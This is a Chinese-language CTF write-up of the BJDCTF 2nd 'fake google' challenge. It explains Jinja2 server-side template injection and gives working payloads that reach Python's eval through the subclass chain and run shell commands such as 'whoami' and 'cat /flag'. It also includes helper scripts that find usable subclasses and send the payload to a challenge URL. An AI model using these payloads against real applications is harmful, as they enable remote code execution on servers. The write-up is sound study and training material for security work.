[BJDCTF 2nd]fake google

 

知识点

  • SSTI
  • Jinja2

在这里插入图片描述

 

随便输入一点东西


在这里插入图片描述

 

查看源码


在这里插入图片描述

 

提示ssti注入
图片来自Flask/Jinja2 SSTI 学习

 

在这里插入图片描述

 

尝试{{7*'7'}}回显 7777777,可知为jinja2模板
以下参考
[BJDCTF 2nd]fake google
SSTI模板注入

  • __class__ 返回类型所属的对象
  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表,大致意思是返回所有子类
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,大致意思是返回所有的父类
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用
  • __bases__ 返回该对象所继承的基类 __builtins__是作为默认初始模块
    builtins指的是python的内置函数,如eval(),chr()等
().__class__.__bases__[0].__subclasses__() 
---查看可用模块

().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169位

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}

 

参考自SSTI/沙盒逃逸详细总结

#找可用的payload
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    #print item
    try:
        if item.__init__.__globals__.keys():

            if '__builtins__' in  item.__init__.__globals__.keys():
                print(num,item,'__builtins__')
            if  'os' in  item.__init__.__globals__.keys():
                print(num,item,'os')
            if  'linecache' in  item.__init__.__globals__.keys():
                print(num,item,'linechache')

        num+=1
    except:
        num+=1
'''
(58, <class 'warnings.WarningMessage'>, '__builtins__')
(58, <class 'warnings.WarningMessage'>, 'linechache')
(59, <class 'warnings.catch_warnings'>, '__builtins__')
(59, <class 'warnings.catch_warnings'>, 'linechache')
(60, <class '_weakrefset._IterationGuard'>, '__builtins__')
(61, <class '_weakrefset.WeakSet'>, '__builtins__')
(71, <class 'site._Printer'>, '__builtins__')
(71, <class 'site._Printer'>, 'os')
(76, <class 'site.Quitter'>, '__builtins__')
(76, <class 'site.Quitter'>, 'os')
(77, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(78, <class 'codecs.IncrementalDecoder'>, '__builtins__')
'''

 

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#version:python3
#查找warnings.catch_warnings所在的位置
import requests
import re
url = r"http://16bb93ec-7fe2-4241-96b3-8dd8d6f3e860.node3.buuoj.cn/qaq?name={{''.__class__.__bases__[0].__subclasses__()}}"
r = requests.get(url)
s = re.findall(r"class &#39;(.*?)&#39;&gt;",r.text)
print(s.index('warnings.catch_warnings')+1)
#print(r.text)

 

posted @ 2020-05-11 18:18  山野村夫z1  阅读(352)  评论(1编辑  收藏  举报